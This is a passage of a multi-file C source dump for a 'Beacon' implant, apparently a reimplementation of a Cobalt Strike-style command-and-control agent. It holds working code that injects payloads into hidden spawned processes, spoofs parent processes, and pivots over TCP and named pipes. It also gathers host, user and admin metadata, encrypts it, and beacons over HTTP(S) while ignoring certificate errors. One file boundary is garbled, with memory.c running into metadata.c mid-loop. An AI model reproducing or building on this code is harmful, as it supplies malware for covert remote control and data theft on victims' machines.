if(++attempts >= 20)
{
DWORD lastError = GetLastError();
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);
return;
}
}
if (waitTime)
{
PipeWaitForData(hPipe, waitTime, 500);
}
JobRegisterPipe(hPipe, pid32, callbackType, description, isMsgMode);
}
void JobSpawnInternal(int callbackType, int waitTime, int reflectiveLoaderOffset, char* payload, int payloadLength, char* argument, int argumentLength, char* description, int descriptionLength, BOOL x86, BOOL ignoreToken)
{
IdentityConditionalRevert(ignoreToken);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE hRead, hWrite;
CreatePipe(&hRead, &hWrite, &sa, 0x100000);
GetStartupInfoA(&si);
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.hStdInput = NULL;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))
{
Sleep(100);
BeaconInjectTemporaryProcess(&pi, payload, payloadLength, reflectiveLoaderOffset, argument, argumentLength);
if (waitTime)
{
PipeWaitForData(hRead, waitTime, 500);
}
JobRegisterProcess(&pi, hRead, hWrite, description);
}
IdentityConditionalImpersonate(ignoreToken);
}
void JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken)
{
#define MAX_DESCRIPTION 64
datap* locals = BeaconDataAlloc(MAX_DESCRIPTION);
char* description = BeaconDataPtr(locals, MAX_DESCRIPTION);
datap parser;
BeaconDataParse(&parser, buffer, size);
short callbackType = BeaconDataShort(&parser);
short waitTime = BeaconDataShort(&parser);
int reflectiveLoaderOffset = BeaconDataInt(&parser);
int descriptionLength = BeaconDataStringCopySafe(&parser, description, MAX_DESCRIPTION);
int argumentLength = BeaconDataInt(&parser);
char* argument = argumentLength ? BeaconDataPtr(&parser, argumentLength) : NULL;
char* payload = BeaconDataBuffer(&parser);
int payloadLength = BeaconDataLength(&parser);
JobSpawnInternal(callbackType, waitTime, reflectiveLoaderOffset, payload, payloadLength, argument, argumentLength, description, descriptionLength, x86, ignoreToken);
BeaconDataFree(locals);
}
void JobExecuteInternal(char* buffer, int length)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE hRead, hWrite;
CreatePipe(&hRead, &hWrite, &sa, 0x100000);
GetStartupInfoA(&si);
si.hStdInput = NULL;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if(RunUnderParent(buffer, length, &si, &pi, CREATE_NEW_CONSOLE, FALSE))
{
WaitForSingleObject(pi.hProcess, 10000);
PROCESS_INFORMATION lPi = { pi.hProcess, NULL, pi.dwProcessId, 0 };
JOB_ENTRY* job = JobRegisterProcess(&lPi, hRead, hWrite, "process");
job->callbackType = CALLBACK_OUTPUT_OEM;
}
}
typedef BOOL(WINAPI* WOW64DISABLEWOW64FSREDIRECTION)(PVOID* OldValue);
typedef BOOL(WINAPI* WOW64REVERTWOW64FSREDIRECTION)(PVOID OldValue);
BOOL kernel32$Wow64DisableWow64FsRedirection(PVOID* OldValue)
{
HMODULE hModule = GetModuleHandleA("kernel32");
WOW64DISABLEWOW64FSREDIRECTION fnWow64DisableWow64FsRedirection = (WOW64DISABLEWOW64FSREDIRECTION)GetProcAddress(hModule, "Wow64DisableWow64FsRedirection");
if (!fnWow64DisableWow64FsRedirection)
return FALSE;
return fnWow64DisableWow64FsRedirection(OldValue);
}
BOOL kernel32$Wow64RevertWow64FsRedirection(PVOID OldValue)
{
HMODULE hModule = GetModuleHandleA("kernel32");
WOW64REVERTWOW64FSREDIRECTION fnWow64RevertWow64FsRedirection = (WOW64REVERTWOW64FSREDIRECTION)GetProcAddress(hModule, "Wow64RevertWow64FsRedirection");
if (!fnWow64RevertWow64FsRedirection)
return FALSE;
return fnWow64RevertWow64FsRedirection(OldValue);
}
void JobExecute(char* buffer, int length)
{
#define MAX_RUNNABLE_CMD 0x2000
#define MAX_EXPANDED_CMD 0x2000
#define MAX_ARGS 0x2000
#define MAX_CMD 0x2000
datap* locals = BeaconDataAlloc(MAX_RUNNABLE_CMD + MAX_EXPANDED_CMD + MAX_ARGS + MAX_CMD);
char* runnableCmd = BeaconDataPtr(locals, MAX_RUNNABLE_CMD);
char* expandedCmd = BeaconDataPtr(locals, MAX_EXPANDED_CMD);
char* args = BeaconDataPtr(locals, MAX_ARGS);
char* cmd = BeaconDataPtr(locals, MAX_CMD);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, runnableCmd, MAX_RUNNABLE_CMD);
BeaconDataStringCopySafe(&parser, args, MAX_ARGS);
BOOL disableWow64FsRedirection = BeaconDataShort(&parser);
ExpandEnvironmentStrings_s(runnableCmd, expandedCmd, MAX_EXPANDED_CMD);
strncat_s(cmd, MAX_CMD, expandedCmd, MAX_EXPANDED_CMD);
strncat_s(cmd, MAX_CMD, args, MAX_ARGS);
PVOID oldValue;
if(disableWow64FsRedirection)
kernel32$Wow64DisableWow64FsRedirection(&oldValue);
JobExecuteInternal(cmd, strlen(cmd) + 1);
if(disableWow64FsRedirection)
kernel32$Wow64RevertWow64FsRedirection(oldValue);
BeaconDataFree(locals);
}
================================================
FILE: Beacon/job.h
================================================
#pragma once
void JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken);
void JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode);
void JobKill(char* buffer, int size);
void JobPrintAll();
void JobExecute(char* buffer, int length);
================================================
FILE: Beacon/link.c
================================================
#include "pch.h"
#include "link.h"
#include "beacon.h"
#include "network.h"
#include "protocol.h"
typedef struct _LINK_ENTRY
{
int bid;
PROTOCOL protocol;
BOOL isOpen;
char* callbackData;
int callbackLength;
int lastPingTime;
} LINK_ENTRY;
#define MAX_LINKS 28
LINK_ENTRY gLinks[MAX_LINKS] = { 0 };
BOOL LinkAdd(PROTOCOL* protocol, int pivotHints)
{
char buffer[256] = { 0 };
if (!protocol->waitForData(protocol, 30000, 10))
return FALSE;
int read = protocol->read(protocol, buffer, sizeof(buffer));
if (read < 0)
return FALSE;
datap parser;
BeaconDataParse(&parser, buffer, read);
int bid = BeaconDataInt(&parser);
LINK_ENTRY* openLink = NULL;
for(int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].isOpen)
{
openLink = &gLinks[i];
break;
}
}
if (!openLink)
{
LERROR("Maximum links reached. Disconnect one");
BeaconErrorNA(ERROR_MAXIMUM_LINKS_REACHED);
return FALSE;
}
openLink->bid = bid;
openLink->protocol = *protocol;
openLink->isOpen = TRUE;
#define MAX_CALLBACK_DATA 0x100
if ( openLink->callbackData == NULL )
{
openLink->callbackData = malloc(MAX_CALLBACK_DATA);
if (openLink->callbackData == NULL)
return FALSE;
}
formatp format;
BeaconFormatUse(&format, openLink->callbackData, MAX_CALLBACK_DATA);
BeaconFormatInt(&format, bid);
BeaconFormatInt(&format, pivotHints);
char* buf = BeaconDataBuffer(&parser);
BeaconFormatAppend(&format, buf, read - sizeof(int));
openLink->callbackLength = BeaconDataLength(&format);
BeaconOutput(CALLBACK_PIPE_OPEN, openLink->callbackData, openLink->callbackLength);
return TRUE;
}
SOCKET LinkViaTcpConnect(char* target, short port)
{
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
if (sock == INVALID_SOCKET)
return INVALID_SOCKET;
// Get host by name
struct hostent* host = gethostbyname(target);
if (host == NULL)
{
closesocket(sock);
return INVALID_SOCKET;
}
struct sockaddr_in addr;
memcpy(&addr.sin_addr, host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR)
{
closesocket(sock);
return INVALID_SOCKET;
}
return sock;
}
#define PIVOT_HINT_REVERSE 0x10000
#define PIVOT_HINT_FORWARD 0
#define PIVOT_HINT_PROTO_PIPE 0
#define PIVOT_HINT_PROTO_TCP 0x100000
void LinkViaTcp(char* buffer, int length)
{
int timeout = GetTickCount() + 15000;
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
char* target = BeaconDataBuffer(&parser);
NetworkInit();
while(GetTickCount() < timeout)
{
SOCKET sock = LinkViaTcpConnect(target, port);
if (sock != INVALID_SOCKET)
{
PROTOCOL protocol;
ProtocolTcpInit(&protocol, sock);
LinkAdd(&protocol, port | PIVOT_HINT_PROTO_TCP);
return;
}
Sleep(1000);
}
DWORD error = WSAGetLastError();
BeaconErrorD(ERROR_CONNECT_TO_TARGET_FAILED, error);
}
void PipeReopen(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int bid = BeaconDataInt(&parser);
for (int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].isOpen == TRUE && gLinks[i].bid == bid)
{
BeaconOutput(CALLBACK_PIPE_OPEN, gLinks[i].callbackData, gLinks[i].callbackLength);
break;
}
}
}
void PipeCloseInternal(int bid)
{
for (int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].isOpen == TRUE && gLinks[i].bid == bid)
{
bid = htonl(bid);
BeaconOutput(CALLBACK_PIPE_CLOSE, (char*)&bid, sizeof(int));
gLinks[i].bid = 0;
gLinks[i].isOpen = FALSE;
gLinks[i].lastPingTime = 0;
break;
}
}
}
void PipeClose(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int bid = BeaconDataInt(&parser);
PipeCloseInternal(bid);
}
typedef struct _ROUTE_DATA
{
int bid;
char data[];
} ROUTE_DATA;
ROUTE_DATA* gRouteAux = NULL;
void PipeRoute(char* buffer, int length)
{
#define MAX_ROUTE_AUX 0x100000
if (!gRouteAux)
{
gRouteAux = malloc(MAX_ROUTE_AUX);
if (!gRouteAux)
{
LERROR("Could not allocate memory for route aux");
return;
}
}
datap parser;
BeaconDataParse(&parser, buffer, length);
int bid = BeaconDataInt(&parser);
int baseLen = BeaconDataLength(&parser);
int len = baseLen;
for(int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].bid != bid || gLinks[i].isOpen == FALSE)
continue;
PROTOCOL* pProtocol = &gLinks[i].protocol;
char* wdata;
if(len <= 0)
{
len = 0;
wdata = NULL;
} else
{
len = baseLen;
wdata = BeaconDataBuffer(&parser);
}
if(pProtocol->write(pProtocol, wdata, len) == 0)
{
PipeCloseInternal(bid);
break;
}
gRouteAux->bid = bid;
int read;
if(pProtocol->waitForData(pProtocol, 300000, 10))
{
read = pProtocol->read(pProtocol, gRouteAux->data, MAX_ROUTE_AUX - offsetof(ROUTE_DATA, data));
} else
{
read = -1;
}
int size = offsetof(ROUTE_DATA, data);
if(read <= 0)
{
if(read != 0)
{
PipeCloseInternal(bid);
continue;
}
} else
{
size += read;
}
BeaconOutput(CALLBACK_PIPE_READ, (char*)gRouteAux, size);
}
}
void PingHandle()
{
for(int i = 0; i < MAX_LINKS; i++)
{
if (!gLinks[i].isOpen)
continue;
if (gLinks[i].lastPingTime >= GetTickCount())
continue;
DWORD now = GetTickCount();
gLinks[i].lastPingTime = now + 15000;
u_long bid = htonl(gLinks[i].bid);
BeaconOutput(CALLBACK_PIPE_PING, (char*)&bid, sizeof(u_long));
}
}
================================================
FILE: Beacon/link.h
================================================
#pragma once
#include "protocol.h"
#define HINT_REVERSE 0x10000
#define HINT_FORWARD 0
#define HINT_PROTO_PIPE 0
#define HINT_PROTO_TCP 0x100000
void LinkViaTcp(char* buffer, int length);
SOCKET LinkViaTcpConnect(char* target, short port);
BOOL LinkAdd(PROTOCOL* protocol, int pivotHints);
void PipeReopen(char* buffer, int length);
void PipeClose(char* buffer, int length);
void PipeRoute(char* buffer, int length);
================================================
FILE: Beacon/logger.h
================================================
#pragma once
#ifdef _DEBUG
#define ANSI_COLOR_RED "\x1b[31m"
#define ANSI_COLOR_GREEN "\x1b[32m"
#define ANSI_COLOR_YELLOW "\x1b[33m"
#define ANSI_COLOR_BLUE "\x1b[36m"
#define ANSI_COLOR_MAGENTA "\x1b[35m"
#define ANSI_COLOR_RESET "\x1b[0m"
#define LOG(color, label, format, ...) \
do { \
printf("%s%s " ANSI_COLOR_RESET, color, label); \
printf(format, ##__VA_ARGS__); \
printf("\n"); \
} while (0)
#define LINFO(...) LOG(ANSI_COLOR_BLUE, "[INFO]", __VA_ARGS__)
#define LWARNING(...) LOG(ANSI_COLOR_YELLOW, "[WARNING]", __VA_ARGS__)
#define LERROR(...) LOG(ANSI_COLOR_RED, "[ERROR]", __VA_ARGS__)
#define LOK(...) LOG(ANSI_COLOR_GREEN, "[OK]", __VA_ARGS__)
#define LTODO(...) LOG(ANSI_COLOR_MAGENTA, "[TODO]", __VA_ARGS__)
#define LLOG(...) LOG("\n", "", __VA_ARGS__)
#define LNEWLINE() LOG("\n")
#define LAST_ERROR_STR(...) "" // TODO: Implement
#else
#define LINFO(...)
#define LWARNING(...)
#define LERROR(...)
#define LOK(...)
#define LTODO(...)
#define LLOG(...)
#define LNEWLINE()
#define LAST_ERROR_STR(...)
#endif
================================================
FILE: Beacon/macros.h
================================================
#pragma once
#define STRLEN(s) ((int)((sizeof(s)/sizeof(s[0])) - 1))
#if _WIN64
#define HIDWORD(x) ((DWORD)((DWORD64)(x) >> (8*(sizeof(DWORD)))))
#define LODWORD(x) ((DWORD)(x))
#define IS_X64() (TRUE)
#else
#define HIDWORD(x) 0
#define LODWORD(x) ((DWORD)(x))
#define IS_X64() (FALSE)
#endif
================================================
FILE: Beacon/main.c
================================================
#include "pch.h"
int main(int argc, char* argv[])
{
}
================================================
FILE: Beacon/memory.c
================================================
#include "pch.h"
typedef struct RECORD
{
char* ptr;
size_t size;
} RECORD, HEAP_RECORD;
#define ALLOC_TYPE_MALLOC 1
#define ALLOC_TYPE_VIRTUALALLOC 2
typedef struct RECORD_ENTRY
{
RECORD record;
int allocType;
BOOL isHeap;
void(__stdcall* callback)(void* Block);
} RECORD_ENTRY;
long long gRecordCount = 0;
long long gRecordCapacity = 0;
RECORD_ENTRY* gRecords;
HEAP_RECORD* gHeapRecords;
BOOL gIsHeapFiltering = TRUE;
#define RECORD_CAPACITY_INCREMENT 25
void MemoryInsert(char* buffer, int length, int type, BOOL isHeap, void(* cleanupCallback)(void* block))
{
if(gRecordCount + 1 >= gRecordCapacity)
{
if(gRecords)
{
gRecords = realloc(gRecords, sizeof(RECORD_ENTRY) * (gRecordCapacity + RECORD_CAPACITY_INCREMENT));
} else
{
gRecords = malloc(sizeof(RECORD_ENTRY) * RECORD_CAPACITY_INCREMENT);
}
memset(&gRecords[gRecordCapacity], 0, sizeof(RECORD_ENTRY) * RECORD_CAPACITY_INCREMENT);
gRecordCapacity += RECORD_CAPACITY_INCREMENT;
}
gRecords[gRecordCount] = (RECORD_ENTRY) {
.record = {
.ptr = buffer,
.size = length
},
.allocType = type,
.isHeap = isHeap,
.callback = cleanupCallback
};
gIsHeapFiltering = gIsHeapFiltering || isHeap;
gRecordCount++;
}
void MemoryCleanup()
{
for(int i = 0; i < gRecordCount; i++)
{
RECORD_ENTRY* entry = &gRecords[i];
if(entry->callback)
{
entry->callback(entry->record.ptr);
} else
{
if(entry->allocType == ALLOC_TYPE_MALLOC)
{
memset(entry->record.ptr, 0, entry->record.size);
free(entry->record.ptr);
} else if(entry->allocType == ALLOC_TYPE_VIRTUALALLOC)
{
memset(entry->record.ptr, 0, entry->record.size);
VirtualFree(entry->record.ptr, 0, MEM_RELEASE);
}
}
}
if (gRecords)
free(gRecords);
if (gHeapRecords)
free(gHeapRecords);
gRecordCapacity = 0;
gRecordCount = 0;
gIsHeapFiltering = TRUE;
}
HEAP_RECORD* MemoryGetHeapRecords()
{
if(gIsHeapFiltering == FALSE && gHeapRecords)
{
return gHeapRecords;
}
int heapCount;
heapCount = 0;
for(int i=0; i= (_WIN32_WINNT_VISTA >> 8);
}
void MetadataGenerate(char* buffer, int size)
{
#define MAX_INFO 256
#define MAX_COMPUTER_NAME 256
#define MAX_USER_NAME 256
#define MAX_FILE_NAME 256
datap* parser = BeaconDataAlloc(sizeof(OSVERSIONINFOA) + MAX_INFO + MAX_COMPUTER_NAME + MAX_USER_NAME + MAX_FILE_NAME);
formatp format;
BeaconFormatAlloc(&format, size);
BeaconFormatInt(&format, METADATA_ID); // Magic number for metadata
BeaconFormatInt(&format, 0); // Placeholder for packet size
u_long* pPacketSize = (u_long*)format.buffer;
char out[16];
rng_get_bytes(out, sizeof(out), NULL);
CryptoSetupSha256AES(out);
BeaconFormatAppend(&format, out, sizeof(out)); // AES random
short acp = GetACP();
BeaconFormatAppend(&format, &acp, 2); // ANSI code page
short oemcp = GetOEMCP();
BeaconFormatAppend(&format, &oemcp, 2); // OEM code page
int tickCount = GetTickCount();
int currentPid = GetCurrentProcessId();
srand(tickCount ^ currentPid);
gSession.bid = gBid = RandomEvenInt();
BeaconFormatInt(&format, gBid); // Beacon ID
BeaconFormatInt(&format, currentPid); // PID
BeaconFormatShort(&format, 0); // Port
char flags = 0;
if (IS_X64() || IsWow64ProcessEx(GetCurrentProcess()))
{
flags = METADATA_FLAG_X64_AGENT | METADATA_FLAG_X64_SYSTEM;
}
if (BeaconIsAdmin()) {
flags |= METADATA_FLAG_ADMIN;
}
BeaconFormatChar(&format, flags); // Flags
OSVERSIONINFOA* osVersionInfo = BeaconDataPtr(parser, sizeof(OSVERSIONINFOA));
osVersionInfo->dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
GetVersionExA(osVersionInfo);
osMajorVersion = osVersionInfo->dwMajorVersion;
BeaconFormatChar(&format, osVersionInfo->dwMajorVersion); // OS major version
BeaconFormatChar(&format, osVersionInfo->dwMinorVersion); // OS minor version
BeaconFormatShort(&format, osVersionInfo->dwBuildNumber); // OS build number
BeaconFormatInt(&format, IS_X64() ? (long long)GetProcAddress >> 32 : 0); // GetProcAddress high part for x64 addressing
BeaconFormatInt(&format, GetModuleHandleA); // GetModuleHandleA address
BeaconFormatInt(&format, GetProcAddress); // GetProcAddress address
ULONG activeAdapterIPv4 = NetworkGetActiveAdapterIPv4();
BeaconFormatInt(&format, activeAdapterIPv4); // IPv4 address
char* info = BeaconDataPtr(parser, MAX_INFO);
char* computerName = BeaconDataPtr(parser, MAX_COMPUTER_NAME);
char* userName = BeaconDataPtr(parser, MAX_USER_NAME);
char* fileName = BeaconDataPtr(parser, MAX_FILE_NAME);
int pcbBuffer = MAX_USER_NAME;
GetUserNameA(userName, &pcbBuffer);
pcbBuffer = MAX_COMPUTER_NAME;
GetComputerNameA(computerName, &pcbBuffer);
const char* executable = "";
if (GetModuleFileNameA(NULL, fileName, MAX_FILE_NAME))
{
char* position = strrchr(fileName, '\\');
if (position != NULL && position != (char*)-1)
{
executable = position + 1;
}
}
snprintf(info, sizeof(info), "%s\t%s\t%s", computerName, userName, executable);
BeaconFormatAppend(&format, info, min(strlen(info), 58)); // Information: Computer name, user name, executable name
*pPacketSize = ntohl(format.length - (2 * sizeof(int)));
memcpy(gSession.data, format.original, format.length);
gSession.length = 128;
EncryptSessionData(S_PUBKEY, format.original, format.length, gSession.data, &gSession.length);
memset(format.original, 0, format.length);
}
================================================
FILE: Beacon/metadata.h
================================================
#pragma once
typedef struct SESSION
{
int bid;
int length;
char data[1024];
} SESSION;
extern int osMajorVersion;
extern SESSION gSession;
================================================
FILE: Beacon/network.c
================================================
#include "pch.h"
#include "network.h"
#include "identity.h"
#include "metadata.h"
#include "settings.h"
#include "transform.h"
BOOL gNetworkIsInit = FALSE;
HINTERNET gInternetConnect;
DWORD gNetworkOptions;
DWORD gContext;
HINTERNET gInternetOpen;
int gPostBufferLength = 0;
char* gPostBuffer = NULL;
#define PROTOCOL_HTTP 0
#define PROTOCOL_DNS 1
#define PROTOCOL_SMB 2
#define PROTOCOL_TCP_REVERSE 4
#define PROTOCOL_HTTPS 8
#define PROTOCOL_TCP_BIND 16
#define PROXY_MANUAL 0
#define PROXY_DIRECT 1
#define PROXY_PRECONFIG 2
#define PROXY_MANUAL_CREDS 4
void NetworkInit(void)
{
if (gNetworkIsInit)
return;
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
{
WSACleanup();
exit(1);
}
// FIXME: DNS Settings here...
gNetworkIsInit = TRUE;
}
ULONG NetworkGetActiveAdapterIPv4()
{
SOCKET sock = WSASocketA(AF_INET, SOCK_DGRAM, 0, NULL, 0, 0);
if (sock == INVALID_SOCKET)
{
return 0;
}
DWORD bytesReturned;
int numInterfaces = 0;
INTERFACE_INFO interfaceInfo[20];
if (!WSAIoctl(sock, SIO_GET_INTERFACE_LIST, NULL, 0, interfaceInfo, sizeof(interfaceInfo), &bytesReturned, NULL, NULL))
{
numInterfaces = bytesReturned / sizeof(INTERFACE_INFO);
}
for (int i = 0; i < numInterfaces; i++)
{
if (!(interfaceInfo[i].iiFlags & IFF_LOOPBACK) && interfaceInfo[i].iiFlags & IFF_UP)
{
closesocket(sock);
return interfaceInfo[i].iiAddress.AddressIn.sin_addr.s_addr;
}
}
closesocket(sock);
return 0;
}
void NetworkStatusCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength)
{
if (dwInternetStatus == INTERNET_STATUS_CONNECTED_TO_SERVER)
HttpAddRequestHeadersA(hInternet, S_HEADERS_REMOVE, INFINITE, HTTP_ADDREQ_FLAG_REPLACE);
}
void NetworkUpdateSettings(HINTERNET hInternet)
{
if(S_PROTOCOL & PROTOCOL_HTTPS)
{
int buffer;
int length = sizeof(buffer);
InternetQueryOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &buffer, &length);
buffer |= (SECURITY_FLAG_IGNORE_REVOCATION |
SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID);
InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer));
}
if (S_HEADERS_REMOVE)
{
InternetSetStatusCallback(hInternet, NetworkStatusCallback);
}
}
BOOL NetworkCheckResponse(HINTERNET hInternet)
{
char status[256];
DWORD statusCodeLength = sizeof(status);
if (!HttpQueryInfoA(hInternet, HTTP_QUERY_STATUS_CODE, status, &statusCodeLength, NULL))
return FALSE;
return atoi(status) == HTTP_STATUS_OK;
}
int NetworkGet(const char* getUri, SESSION* session, char* data, const int maxGet)
{
IdentityRevertToken();
const char* uri = getUri;
#define MAX_URI 0x400
#define MAX_READ 0x1000
TRANSFORM transform;
memset(&transform, 0, sizeof(transform));
CHAR finalUri[MAX_URI];
memset(finalUri, 0, sizeof(finalUri));
TransformInit(&transform, maxGet);
snprintf(transform.uri, MAX_URI, "%s", uri);
TransformEncode(&transform, S_C2_REQUEST, session->data, session->length, NULL, 0);
if(strlen(transform.uriParams))
snprintf(finalUri, sizeof(finalUri), "%s%s", transform.uri, transform.uriParams);
else
snprintf(finalUri, sizeof(finalUri), "%s", transform.uri);
HINTERNET hInternet = HttpOpenRequestA(
gInternetConnect,
"GET",
finalUri,
NULL,
NULL,
NULL,
gNetworkOptions,
&gContext);
NetworkUpdateSettings(hInternet);
HttpSendRequestA(hInternet, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength);
TransformDestroy(&transform);
int result = -1;
DWORD bytesAvailable = 0;
if(NetworkCheckResponse(hInternet) && InternetQueryDataAvailable(hInternet, &bytesAvailable, 0, 0) && bytesAvailable < maxGet)
{
if (bytesAvailable == 0)
result = 0;
else if (maxGet != 0)
{
int totalBytesRead = 0;
int bytesRead = 0;
do
{
if (!InternetReadFile(hInternet, data + totalBytesRead, MAX_READ, &bytesAvailable) || bytesRead == 0)
{
InternetCloseHandle(hInternet);
result = TransformDecode(S_C2_RECOVER, data, totalBytesRead, maxGet);
IdentityImpersonateToken();
return result;
}
}
while (totalBytesRead < maxGet);
}
}
InternetCloseHandle(hInternet);
IdentityImpersonateToken();
return result;
}
void NetworkPost(const char* uri)
{
#define MAX_ATTEMPTS 4
#define ATTEMPT_SLEEP 500
#define MAX_BID 128
const char* acceptTypes[] = { "*/*", NULL };
char finalUri[MAX_URI];
memset(finalUri, 0, sizeof(finalUri));
char bid[MAX_BID];
memset(bid, 0, sizeof(bid));
TRANSFORM transform;
memset(&transform, 0, sizeof(transform));
if(!gPostBufferLength)
return;
TransformInit(&transform, gPostBufferLength);
snprintf(transform.uri, MAX_URI, "%s", uri);
snprintf(bid, sizeof(bid), "%d", gSession.bid);
TransformEncode(&transform, S_C2_POSTREQ, bid, strlen(bid), gPostBuffer, gPostBufferLength);
if(strlen(transform.uriParams))
snprintf(finalUri, sizeof(finalUri), "%s%s", transform.uri, transform.uriParams);
else
snprintf(finalUri, sizeof(finalUri), "%s", transform.uri);
IdentityRevertToken();
for(int attempts = 0; attempts < MAX_ATTEMPTS; attempts++)
{
HINTERNET hRequest = HttpOpenRequestA(
gInternetConnect,
S_C2_VERB_POST,
finalUri,
NULL,
NULL,
acceptTypes,
gNetworkOptions,
&gContext);
NetworkUpdateSettings(hRequest);
HttpSendRequestA(hRequest, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength);
if(NetworkCheckResponse(hRequest))
{
InternetCloseHandle(hRequest);
break;
}
InternetCloseHandle(hRequest);
Sleep(ATTEMPT_SLEEP);
}
TransformDestroy(&transform);
gPostBufferLength = 0;
IdentityImpersonateToken();
}
void NetworkConfigureHttp(LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszAgent)
{
IdentityRevertToken();
gNetworkOptions = INTERNET_FLAG_RELOAD | // retrieve the original item, not the cache
INTERNET_FLAG_NO_CACHE_WRITE | // don't add this to the IE cache
INTERNET_FLAG_KEEP_CONNECTION | // use keep-alive semantics
INTERNET_FLAG_NO_UI; // no cookie popup
if(S_PROTOCOL & PROTOCOL_HTTPS)
{
gNetworkOptions |= INTERNET_FLAG_SECURE | // use PCT/SSL if applicable (HTTP)
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | // ignore date invalid cert errors
INTERNET_FLAG_IGNORE_CERT_CN_INVALID; // ignore common name invalid cert errors
}
DWORD accessType;
LPCSTR proxy;
BOOL shouldCreateInternetOpen = TRUE;
if(S_PROXY_BEHAVIOR == PROXY_MANUAL || S_PROXY_BEHAVIOR == PROXY_MANUAL_CREDS)
{
accessType = INTERNET_OPEN_TYPE_PROXY;
proxy = S_PROXY_CONFIG;
}
else if(S_PROXY_BEHAVIOR == PROXY_DIRECT)
{
accessType = INTERNET_OPEN_TYPE_DIRECT;
proxy = NULL;
}
else if(S_PROXY_BEHAVIOR == PROXY_PRECONFIG)
{
accessType = INTERNET_OPEN_TYPE_PRECONFIG;
proxy = NULL;
} else
{
LERROR("Invalid proxy behavior: %d", S_PROXY_BEHAVIOR);
shouldCreateInternetOpen = FALSE;
}
if(shouldCreateInternetOpen)
{
gInternetOpen = InternetOpenA(
lpszAgent,
accessType,
proxy,
NULL,
0);
}
int timeout = 240000;
InternetSetOptionA(gInternetOpen, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout));
InternetSetOptionA(gInternetOpen, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout));
gInternetConnect = InternetConnectA(
gInternetOpen,
lpszServerName,
nServerPort,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
0,
0);
if (S_PROXY_BEHAVIOR == PROXY_MANUAL_CREDS)
{
InternetSetOptionA(gInternetConnect, INTERNET_OPTION_PROXY_USERNAME, S_PROXY_USER, STRLEN(S_PROXY_USER));
InternetSetOptionA(gInternetConnect, INTERNET_OPTION_PROXY_PASSWORD, S_PROXY_PASSWORD, STRLEN(S_PROXY_PASSWORD));
}
IdentityImpersonateToken();
}
void NetworkClose(void)
{
IdentityRevertToken();
InternetCloseHandle(gInternetConnect);
InternetCloseHandle(gInternetOpen);
IdentityImpersonateToken();
}
================================================
FILE: Beacon/network.h
================================================
#pragma once
// Localhost for little endian
#define LOCALHOST 0x0100007f
void NetworkInit(void);
ULONG NetworkGetActiveAdapterIPv4();
================================================
FILE: Beacon/pch.c
================================================
#include "pch.h"
================================================
FILE: Beacon/pch.h
================================================
#pragma once
/*
* Include convention for this project:
* 1. Precompiled header
* 2. The ".h" file for the current source file
* 3. C standard library headers
* 4. Third-party library headers
* 5. Windows headers
*/
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
#include
#define LTM_DESC
#define LTC_NO_HASHES
//Only SHA256 is needed
#define LTC_SHA256
#define LTC_HASH_HELPERS
#define LTC_NO_MACS
#define LTC_HMAC
#include "tomcrypt.h"
#include
#include
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")
#include "logger.h"
#include "macros.h"
#include "error.h"
// This forces the programmer to not use 'auto' keyword ever, otherwise the compiler will throw an error.
#define auto error
================================================
FILE: Beacon/pipe.c
================================================
#include "pch.h"
#include "pipe.h"
#include "identity.h"
BOOL PipeConnect(LPCSTR lpFileName, HANDLE* pipe, DWORD flags)
{
while(TRUE)
{
*pipe = CreateFileA(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, flags, NULL);
if (*pipe != INVALID_HANDLE_VALUE)
{
DWORD mode = PIPE_READMODE_BYTE;
